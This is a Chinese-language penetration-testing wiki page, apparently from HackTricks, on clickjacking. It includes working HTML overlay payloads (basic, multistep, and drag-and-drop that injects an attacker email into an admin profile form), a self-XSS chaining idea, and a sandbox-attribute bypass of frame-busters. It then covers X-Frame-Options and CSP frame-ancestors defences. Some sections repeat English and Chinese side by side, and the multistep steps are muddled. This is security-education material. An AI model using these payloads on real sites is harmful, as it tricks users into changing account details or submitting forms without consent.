16 KiB
点击劫持
☁️ HackTricks 云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?你想在 HackTricks 中看到你的公司广告吗?或者你想获得PEASS 的最新版本或下载 HackTricks 的 PDF吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方 PEASS & HackTricks 商品
- 加入💬 Discord 群组 或 Telegram 群组 或 关注我在推特上的🐦@carlospolopm。
- 通过向hacktricks 仓库 和hacktricks-cloud 仓库 提交 PR 来分享你的黑客技巧。
使用 Trickest 可以轻松构建和自动化工作流程,使用世界上最先进的社区工具。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
什么是点击劫持
点击劫持是一种攻击,它通过欺骗用户点击一个不可见或伪装成其他元素的网页元素。这可能导致用户不知情地下载恶意软件、访问恶意网页、提供凭据或敏感信息、转账或在线购买产品。(来自这里)。
预填表单的技巧
有时可以在加载页面时使用 GET 参数来填充表单字段的值。攻击者可以利用这种行为填充表单的任意数据,并发送点击劫持有效负载,以便用户按下提交按钮。
使用拖放填充表单
如果你需要用户填写一个表单,但又不想直接要求他写入一些特定的信息(比如你知道的电子邮件或特定密码),你可以要求他拖放某些东西,以便写入你控制的数据,就像这个例子中的那样。
基本有效负载
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
多步骤负载
In some cases, a simple clickjacking attack may not be enough to achieve the desired outcome. In such situations, a multistep payload can be used to execute a series of actions on the victim's behalf.
在某些情况下,简单的点击劫持攻击可能无法达到预期的结果。在这种情况下,可以使用多步骤负载来代表受害者执行一系列操作。
The idea behind a multistep payload is to chain together multiple clickjacking attacks, each triggering a different action. This can be done by embedding multiple iframes within each other, with each iframe containing a different target element to be clicked.
多步骤负载的思想是将多个点击劫持攻击链接在一起,每个攻击触发不同的操作。这可以通过在彼此之间嵌入多个 iframe 来实现,每个 iframe 包含一个不同的目标元素以供点击。
To create a multistep payload, follow these steps:
要创建一个多步骤负载,请按照以下步骤进行操作:
-
Identify the target elements that need to be clicked in order to achieve the desired outcome.
确定需要点击的目标元素,以实现预期的结果。
-
Create an iframe that covers the entire page and set its opacity to 0 to make it invisible.
创建一个覆盖整个页面的 iframe,并将其不透明度设置为 0,使其不可见。
-
Embed another iframe within the first iframe, positioning it over the target element that needs to be clicked.
在第一个 iframe 中嵌入另一个 iframe,将其定位在需要点击的目标元素上方。
-
Repeat step 3 for each target element, nesting iframes within iframes as necessary.
对于每个目标元素,根据需要嵌套 iframe,在 iframe 中重复执行第 3 步。
-
Finally, set the target attribute of the innermost iframe to "_top" to ensure that the click event is propagated to the underlying page.
最后,将最内层 iframe 的 target 属性设置为 "_top",以确保点击事件传播到底层页面。
By chaining together multiple clickjacking attacks in this way, it is possible to automate a series of actions on the victim's behalf, potentially leading to more advanced attacks or unauthorized access.
通过以这种方式链接多个点击劫持攻击,可以代表受害者自动执行一系列操作,可能导致更高级的攻击或未经授权的访问。
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
拖放 + 点击有效载荷
This technique combines drag and drop functionality with a click payload to perform a clickjacking attack. The attack involves tricking the user into unknowingly performing an action by clicking on a hidden element that is overlaid with a legitimate-looking element.
这种技术将拖放功能与点击有效载荷结合起来,用于执行点击劫持攻击。该攻击通过欺骗用户点击一个被伪装成合法元素的隐藏元素,使用户在不知情的情况下执行某个操作。
The steps to perform this attack are as follows:
执行此攻击的步骤如下:
-
Create a hidden element: Create an HTML element that is hidden from the user's view, but positioned in a way that it overlaps with a visible element on the page.
创建隐藏元素:创建一个在用户视图中隐藏的HTML元素,但是以一种与页面上可见元素重叠的方式进行定位。
-
Implement drag and drop functionality: Implement the drag and drop functionality on the visible element, making it appear as if the user is interacting with it.
实现拖放功能:在可见元素上实现拖放功能,使其看起来像是用户正在与其交互。
-
Overlay the hidden element: Overlay the hidden element on top of the visible element using CSS positioning.
叠加隐藏元素:使用CSS定位将隐藏元素叠加在可见元素上方。
-
Trigger the click payload: When the user performs a drag and drop action on the visible element, the hidden element is also dragged along with it. As a result, when the user releases the mouse button to complete the action, they unknowingly trigger a click on the hidden element.
触发点击有效载荷:当用户在可见元素上执行拖放操作时,隐藏元素也会随之被拖动。因此,当用户释放鼠标按钮以完成操作时,他们在不知情的情况下触发了隐藏元素的点击。
This technique can be used to perform various malicious actions, such as submitting forms, clicking on buttons, or even performing actions that require user authentication.
这种技术可以用于执行各种恶意操作,例如提交表单、点击按钮,甚至执行需要用户身份验证的操作。
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
如果你发现了一个需要用户点击某个元素才能触发的 XSS 攻击,并且页面容易受到 点击劫持 的攻击,你可以利用它来欺骗用户点击按钮/链接。
例子:
你在账户的一些私人详细信息中发现了一个 自我 XSS(只有你可以设置和读取的详细信息)。用于设置这些详细信息的页面容易受到 点击劫持 的攻击,你可以使用 GET 参数预填充表单。
__攻击者可以准备一个 点击劫持 攻击到那个页面,用 XSS 载荷预填充表单,并欺骗用户 提交 表单。所以,当表单被提交并且值被修改时,用户将执行 XSS。
如何避免点击劫持
客户端防御
可以在客户端执行脚本,执行以下行为来防止点击劫持:
- 检查并强制当前应用窗口是主窗口或顶层窗口,
- 使所有框架可见,
- 防止点击不可见的框架,
- 拦截并标记用户可能遭受点击劫持攻击的情况。
绕过
由于框架破坏器是 JavaScript,因此浏览器的安全设置可能会阻止其运行,甚至浏览器可能根本不支持 JavaScript。攻击者对抗框架破坏器的有效方法是使用 HTML5 iframe 的 sandbox
属性。当设置了 allow-forms
或 allow-scripts
值,并且省略了 allow-top-navigation
值时,框架破坏器脚本将被中和,因为 iframe 无法检查自己是否为顶层窗口:
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
allow-forms
和allow-scripts
值都允许在iframe中执行指定的操作,但禁用顶级导航。这样可以阻止框架破解行为,同时允许在目标站点内使用功能。
根据执行的Clickjacking攻击类型,您可能还需要允许allow-same-origin
和allow-modals
或更多。在准备攻击时,只需检查浏览器的控制台,它可能会告诉您需要允许哪些其他行为。
X-Frame-Options
X-Frame-Options
HTTP响应头可用于指示浏览器是否应该允许在<frame>
或<iframe>
中呈现页面。网站可以使用此功能来避免Clickjacking攻击,确保其内容不被嵌入到其他站点中。为所有包含HTML内容的响应设置**X-Frame-Options
**头。可能的值包括:
X-Frame-Options: deny
,防止任何域嵌入内容(推荐的值)X-Frame-Options: sameorigin
,仅允许当前站点嵌入内容。X-Frame-Options: allow-from https://trusted.com
,**允许指定的'uri'**嵌入此页面。- 请检查下面的限制,因为如果浏览器不支持它,这将失败开放。
- 其他浏览器支持新的CSP frame-ancestors指令。有些浏览器同时支持两者。
内容安全策略(CSP)frame-ancestors指令
推荐的Clickjacking保护是在应用程序的内容安全策略中加入**frame-ancestors
指令**。
**frame-ancestors 'none'
指令的行为类似于X-Frame-Options deny
**指令(没有人可以嵌入页面)。
**frame-ancestors 'self'
指令与X-Frame-Options sameorigin
**指令大致相同(只有当前站点可以嵌入)。
frame-ancestors trusted.com
指令与X-Frame-Options allow-from
指令大致相同(只有受信任的站点可以嵌入)。
以下CSP将仅允许相同域的框架:
Content-Security-Policy: frame-ancestors 'self';
有关更多详细信息和更复杂示例,请参阅以下文档:
- https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors
限制
- **浏览器支持:**CSP frame-ancestors尚未得到所有主要浏览器的支持。
- **X-Frame-Options优先:**CSP规范的“与X-Frame-Options的关系”部分(https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options)说:“如果资源使用包含名为frame-ancestors的指令的策略传递,并且其处理方式为“强制执行”,则必须忽略X-Frame-Options头部”,但Chrome 40和Firefox 35会忽略frame-ancestors指令,而是遵循X-Frame-Options头部。
参考资料
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
使用Trickest轻松构建和自动化工作流程,利用全球最先进的社区工具。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFT收藏品The PEASS Family。
- 获得官方PEASS和HackTricks周边产品。
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。